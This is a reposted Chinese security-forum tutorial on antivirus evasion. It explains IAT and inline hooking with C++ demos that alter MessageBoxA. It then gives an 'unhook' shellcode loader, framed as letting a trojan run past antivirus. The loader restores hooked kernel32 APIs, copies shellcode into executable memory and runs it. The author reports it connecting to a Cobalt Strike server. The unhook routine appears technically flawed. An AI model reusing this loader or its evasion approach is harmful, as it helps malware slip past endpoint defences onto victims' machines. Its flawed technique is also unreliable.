安全矩阵

 找回密码
 立即注册
搜索
查看: 790|回复: 0

【杀软对抗】Hook与UnHook基础

[复制链接]

417

主题

417

帖子

2391

积分

金牌会员

Rank: 6Rank: 6

积分
2391
发表于 2023-12-9 00:16:03 | 显示全部楼层 |阅读模式
ZackSecurity ZackSecurity 2023-12-07 16:44 发表于广西

一、Hook
Hook 说明:运行程序时杀软会检查敏感的 API 函数,如 OpenProcess、VirtualAllocEx、WriteProcessMemory 等。杀软常用的方式是在程序加载 API 前 jmp 跳转到杀软的检查代码地址,检查即将要调用的系统 API 是否为危险函数,是危险函数就阻断,否则 jmp 回程序原来顺序执行的地址,这个 jmp 检测过程就是 hook 过程。

1. IATHook
IATHOOK 的基本原理是通过修改导入地址表中的函数地址,将原始函数地址替换为自定义的函数地址。这样,在程序调用原始函数时,实际上会执行被替换的自定义函数,从而实现对目标函数的拦截和修改。

IATHook 实现过程:

获取目标模块的基址:根据目标函数的模块名称或函数地址,可以通过 Windows API 函数如 GetModuleHandle 或 LoadLibrary 来获取目标模块的基址。

获取导入地址表(IAT):通过解析目标模块的导入描述符表(Import Descriptor Table),可以获得导入地址表的位置。

修改导入地址表:将目标函数的地址替换为自定义函数的地址,即进行钩子操作。可以使用 VirtualProtect 函数来修改内存页面的访问权限,确保可以写入。

自定义函数的实现:编写自定义函数的代码,用于替代原始函数的功能。在自定义函数中,可以执行一些额外的操作,如记录日志、修改参数、阻止函数调用等。

调用原始函数:在自定义函数中,如果需要调用原始函数,可以通过函数指针来调用被替换的原始函数。

IATHook 实现测试代码:

  1. #include <windows.h>

  2. //创建函数指针
  3. typedef int (WINAPI* PfnMsgA)(
  4.    _In_opt_ HWND hWnd,
  5.    _In_opt_ LPCSTR lpText,
  6.    _In_opt_ LPCSTR lpCaption,
  7.    _In_ UINT uType);
  8. //定义函数指针
  9. PfnMsgA g_OldPfnMsgA = nullptr;

  10. //自己定义的hook函数
  11. int WINAPI MyMessageBox(_In_opt_ HWND hWnd, _In_opt_ LPCSTR lpText, _In_opt_ LPCSTR lpCaption, _In_ UINT uType)
  12. {
  13.    char szHookText[] = "成功hook到检查函数";
  14.    if (g_OldPfnMsgA != nullptr)
  15.   {
  16.        //调用前的函数指针
  17.        return g_OldPfnMsgA(hWnd, szHookText, lpCaption, uType);
  18.   }
  19.    return 0;
  20. }

  21. //hook函数
  22. void SetIatHook()
  23. {
  24.    PVOID pHookAddress = nullptr;
  25.    //指定要HOOK的函数MessageBoxA
  26.    pHookAddress = GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
  27.    if (nullptr == pHookAddress)
  28.   {
  29.        OutputDebugString(TEXT("获取函数地址失败"));
  30.        return;
  31.   }
  32.    //保存旧的函数指针
  33.    g_OldPfnMsgA = (PfnMsgA)pHookAddress;
  34.    //解析PE头,寻找IAT
  35.    HMODULE hModImageBase = GetModuleHandle(NULL);//获取当前的ImagBase
  36.    PIMAGE_DOS_HEADER pDosHead = (PIMAGE_DOS_HEADER)(DWORD)hModImageBase; //获取DOS头
  37.    DWORD dwTemp = (DWORD)pDosHead + (DWORD)pDosHead->e_lfanew;
  38.    PIMAGE_NT_HEADERS pNtHead = (PIMAGE_NT_HEADERS)dwTemp;
  39.    PIMAGE_FILE_HEADER pFileHead = (PIMAGE_FILE_HEADER)&pNtHead->FileHeader;
  40.    PIMAGE_OPTIONAL_HEADER pOptHead = (PIMAGE_OPTIONAL_HEADER)&pNtHead->OptionalHeader;
  41.    //寻找导出表的位置
  42.    DWORD dwExportLocal = pOptHead->DataDirectory[1].VirtualAddress; //找到导出表偏移
  43.    //定位到导出表
  44.    dwTemp = (DWORD)GetModuleHandle(NULL) + dwExportLocal;
  45.    PIMAGE_IMPORT_DESCRIPTOR   pImport = (PIMAGE_IMPORT_DESCRIPTOR)dwTemp;
  46.    PIMAGE_IMPORT_DESCRIPTOR   pCurrent = pImport;
  47.    DWORD* pFirstThunk; //导入表子表,也就是IAT存储函数地址的表
  48.    //遍历导入表
  49.    while (pCurrent->Characteristics && pCurrent->FirstThunk != NULL)
  50.   {
  51.        dwTemp = pCurrent->FirstThunk + (DWORD)GetModuleHandle(NULL); //找到导入表
  52.        pFirstThunk = (DWORD*)dwTemp; //加上偏移才是真正的导入表
  53.        while (*(DWORD*)pFirstThunk != NULL)
  54.       {
  55.            //遍历子表
  56.            if (*(DWORD*)pFirstThunk == (DWORD)g_OldPfnMsgA)
  57.           {
  58.                //找到要修改的导入表,修改内存保护属性,写入自己的函数地址
  59.                DWORD oldProtected;
  60.                VirtualProtect(pFirstThunk, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtected);
  61.                dwTemp = (DWORD)MyMessageBox;
  62.                memcpy(pFirstThunk, (DWORD*)&dwTemp, 4); //将变量中保存的函数地址拷贝到导入表中
  63.                //四字节长度的地址
  64.                VirtualProtect(pFirstThunk, 0x1000, oldProtected, &oldProtected);
  65.           }
  66.            pFirstThunk++; //继续遍历
  67.       }
  68.        pCurrent++; //每次是加一个导入表结构
  69.   }
  70. }

  71. //取消hook函数,遍历导入表后恢复导入表
  72. void UnIatHook()
  73. {
  74.    PVOID pHookAddress = nullptr;
  75.    //取消hook到MyMessageBox函数
  76.    pHookAddress = MyMessageBox;
  77.    if (nullptr == pHookAddress)
  78.   {
  79.        OutputDebugString(TEXT("恢复函数地址失败"));
  80.        return;
  81.   }
  82.    //解析PE头,寻找IAT
  83.    HMODULE hModImageBase = GetModuleHandle(NULL);//获取当前的ImagBase
  84.    PIMAGE_DOS_HEADER pDosHead = (PIMAGE_DOS_HEADER)(DWORD)hModImageBase; //获取DOS头
  85.    DWORD dwTemp = (DWORD)pDosHead + (DWORD)pDosHead->e_lfanew;
  86.    PIMAGE_NT_HEADERS pNtHead = (PIMAGE_NT_HEADERS)dwTemp;
  87.    PIMAGE_FILE_HEADER pFileHead = (PIMAGE_FILE_HEADER)&pNtHead->FileHeader;
  88.    PIMAGE_OPTIONAL_HEADER pOptHead = (PIMAGE_OPTIONAL_HEADER)&pNtHead->OptionalHeader;
  89.    //寻找导出表的位置
  90.    DWORD dwExportLocal = pOptHead->DataDirectory[1].VirtualAddress; //找到导出表偏移
  91.    //定位到导出表
  92.    dwTemp = (DWORD)GetModuleHandle(NULL) + dwExportLocal;
  93.    PIMAGE_IMPORT_DESCRIPTOR   pImport = (PIMAGE_IMPORT_DESCRIPTOR)dwTemp;
  94.    PIMAGE_IMPORT_DESCRIPTOR   pCurrent = pImport;
  95.    DWORD* pFirstThunk; //导入表子表
  96.    //遍历导入表
  97.    while (pCurrent->Characteristics && pCurrent->FirstThunk != NULL)
  98.   {
  99.        dwTemp = pCurrent->FirstThunk + (DWORD)GetModuleHandle(NULL);
  100.        pFirstThunk = (DWORD*)dwTemp; //加上偏移才是真正的导入表
  101.        while (*(DWORD*)pFirstThunk != NULL)
  102.       {
  103.            //遍历子表
  104.            if (*(DWORD*)pFirstThunk == (DWORD)MyMessageBox) //如果是自己的函数地址,则进行恢复
  105.           {
  106.                //找到要修改的导入表,修改内存保护属性,写入自己的函数地址
  107.                DWORD oldProtected;
  108.                VirtualProtect(pFirstThunk, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtected);
  109.                dwTemp = (DWORD)g_OldPfnMsgA;
  110.                memcpy(pFirstThunk, (DWORD*)&dwTemp, 4); //将变量中保存的函数地址拷贝到导入表中
  111.                VirtualProtect(pFirstThunk, 0x1000, oldProtected, &oldProtected);
  112.           }
  113.            pFirstThunk++; //继续遍历
  114.       }
  115.        pCurrent++; //每次是加一个导入表结构
  116.   }
  117. }

  118. void main()
  119. {
  120.    MessageBoxA(NULL, "hook测试", "标题", MB_OK);
  121.    SetIatHook();  //调用hook
  122.    MessageBoxA(NULL, "hook测试", "标题", MB_OK);
  123.    UnIatHook();  //取消hook
  124.    MessageBoxA(NULL, "hook测试", "标题", MB_OK);
  125. }
复制代码


IATHook 实现测试运行:

调用hook前,调用MessageBoxA函数正常输出内容。



调用hook后,再调用MessageBoxA函数输出内容被修改。


取消hook后,再调用MessageBoxA函数输出内容恢复正常。


2. InlineHook
InlineHook(内联钩子)是一种在程序运行时修改函数执行流程的技术。它通过修改函数的原始代码,将目标函数的执行路径重定向到自定义的代码段,从而实现对目标函数的拦截和修改。

InlineHook 内联钩子的实现有以下步骤:

  • 定位目标函数的地址:通过函数名或者导入表等方式找到目标函数在内存中的地址。
  • 修改目标函数的内存权限:将目标函数的内存权限修改为可写可执行,以便后续修改函数的指令。
  • 备份目标函数的原始指令:将目标函数的原始指令备份到自定义的缓冲区中。
  • 修改目标函数的指令:将目标函数的指令修改为跳转到自定义代码的指令,以实现拦截和修改。
  • 编写自定义代码:编写自定义的代码,实现对目标函数的拦截和修改逻辑。
  • 执行自定义代码:将自定义的代码插入到目标函数的执行流程中,使其被调用时执行自定义逻辑。
  • 恢复目标函数的原始指令:在自定义代码执行完毕后,恢复目标函数的原始指令,以确保目标函数的正常执行。


InlineHook测试dll代码:

  1. #include <windows.h>
  2. #include <pch.h>

  3. //定义函数地址变量和新旧比特数
  4. PROC m_FunAddress;
  5. BYTE m_OldBytes[5];
  6. BYTE m_NewBytes[5];

  7. BOOL Hook(const char* pszModuleName, const char* pszFuncName, PROC pfnHookFunc)
  8. {
  9. //获取指定模块中指定函数的地址
  10. m_FunAddress = (PROC)GetProcAddress(GetModuleHandleA(pszModuleName), pszFuncName);
  11. if (m_FunAddress == NULL)
  12. {
  13. return false;
  14. }
  15. //保存函数的头五个字节
  16. DWORD dwRet = 0;
  17. ReadProcessMemory(GetCurrentProcess(), m_FunAddress, m_OldBytes, 5, &dwRet);
  18. //构造Jmp指令
  19.    //jmp Address
  20. m_NewBytes[0] = '\xE9';
  21. *(DWORD*)(m_NewBytes + 1) = (DWORD)pfnHookFunc - (DWORD)m_FunAddress - 5;
  22. //写5字节
  23. WriteProcessMemory(GetCurrentProcess(), m_FunAddress, m_NewBytes, 5, &dwRet);
  24. return true;
  25. }

  26. //取消hook函数
  27. VOID UnHook()
  28. {
  29. if (m_FunAddress != 0)
  30. {
  31. DWORD dwRet = 0;
  32. WriteProcessMemory(GetCurrentProcess(), m_FunAddress, m_OldBytes, 5, &dwRet);
  33. }
  34. }

  35. //重新hook函数
  36. BOOL ReHook()
  37. {
  38. if (m_FunAddress != 0)
  39. {
  40. DWORD dwRet = 0;
  41. WriteProcessMemory(GetCurrentProcess(), m_FunAddress, m_NewBytes, 5, &dwRet);
  42. }
  43. return true;
  44. }

  45. //自定义函数MyMessageBoxA
  46. int
  47. WINAPI MyMessageBoxA(
  48. _In_opt_ HWND hWnd,
  49. _In_opt_ LPCSTR lpText,
  50. _In_opt_ LPCSTR lpCaption,
  51. _In_ UINT uType)
  52. {
  53. UnHook();
  54. int nRet = MessageBoxA(hWnd, "InlineHook 成功!", "标题", uType);
  55. ReHook();
  56. return nRet;
  57. }

  58. //dll主函数
  59. BOOL APIENTRY DllMain(HMODULE hModule,
  60. DWORD  ul_reason_for_call,
  61. LPVOID lpReserved
  62. )
  63. {
  64. switch (ul_reason_for_call)
  65. {
  66. case DLL_PROCESS_ATTACH:
  67. m_FunAddress = NULL;
  68. memset(m_OldBytes, 0, 5);
  69. memset(m_NewBytes, 0, 5);
  70. //hook系统user32.dll里面的MessageBoxA到自定义函数MyMessageBoxA
  71. Hook("user32.dll", "MessageBoxA", (PROC)MyMessageBoxA);
  72. break;
  73. case DLL_THREAD_ATTACH:
  74. break;
  75. case DLL_THREAD_DETACH:
  76. break;
  77. case DLL_PROCESS_DETACH:
  78. UnHook();
  79. break;
  80. }
  81. return TRUE;
  82. }
复制代码


InlineHook测试C++代码:
  1. #include <windows.h>

  2. void main() {
  3. MessageBoxA(NULL, "Hook 测试", "标题", NULL);
  4. LoadLibraryA("Dll1.dll"); //调用hook的dll文件
  5. MessageBoxA(NULL, "Hook 测试", "标题", NULL);
  6. }
复制代码


分别生成dll文件和exe文件,放在同一目录下执行,效果如下:

调用hook前,MessageBoxA函数正常输出内容。



调用hook后,MessageBoxA函数内容被修改输出。


二、UnHook
反Hook说明:hook叫上钩,unhook叫脱钩。当运行木马时杀软会跳转程序到检查恶意API的函数里面,这时调用的恶意API是属于hook上钩状态,反Hook就是需要使恶意API复原为脱钩状态,脱钩后再调用。

unhook脱钩加载shellcode代码:

  1. #include <windows.h>
  2. #include <ImageHlp.h>
  3. #include <iostream>
  4. #include <vector>
  5. using namespace std;
  6. #pragma comment(lib,"imagehlp")
  7. //隐藏黑框
  8. #pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"" )

  9. //shellcode变量
  10. unsigned char buf[] = "";

  11. //unhook函数,传入要脱钩的api
  12. void unhookAPI(const char* functionName) {
  13.    
  14. //加载unhook脱钩api的dll文件
  15. HMODULE lib = LoadLibrary("C:\\Windows\\System32\\kernel32.dll");
  16. BYTE assemblyBytes[5] = {};

  17. if (lib) {
  18. void* fa = GetProcAddress(lib, functionName);
  19. if (fa) {
  20. BYTE* read = (BYTE*)fa;
  21. for (int i = 0; i < 5; i++) {
  22. assemblyBytes[i] = read[i];
  23. }
  24. //复写传入的api函数
  25. WriteProcessMemory(GetCurrentProcess(), GetProcAddress(GetModuleHandle("kernel32.dll"), functionName), (LPCVOID)assemblyBytes, 5, NULL);
  26. FreeLibrary(lib);

  27. printf("Unhook %s Succeed!\n", functionName);

  28. }
  29. else
  30. printf("Function not found!\n");
  31. }
  32. else
  33. printf("Error loading library!\n");
  34. }

  35. int main() {

  36. //unhook脱钩,将被hook的函数复原
  37. unhookAPI("VirtualAlloc");
  38. unhookAPI("RtlMoveMemory");
  39. unhookAPI("CreateThread");
  40. unhookAPI("WaitForSingleObject");

  41. //申请一段虚拟内存空间
  42. LPVOID add = VirtualAlloc(NULL, sizeof(buf), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  43. //移动shellcode内容到内存
  44. RtlMoveMemory(add, buf, sizeof(buf));
  45. //通过创建新线程的方式运行内容
  46. HANDLE hand = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)add, NULL, NULL, NULL);
  47. //等待结束
  48. WaitForSingleObject(hand, INFINITE);

  49. return 0;
  50. }
复制代码


生成exe运行,上线CS服务端:


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-7-27 10:51 , Processed in 0.015404 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表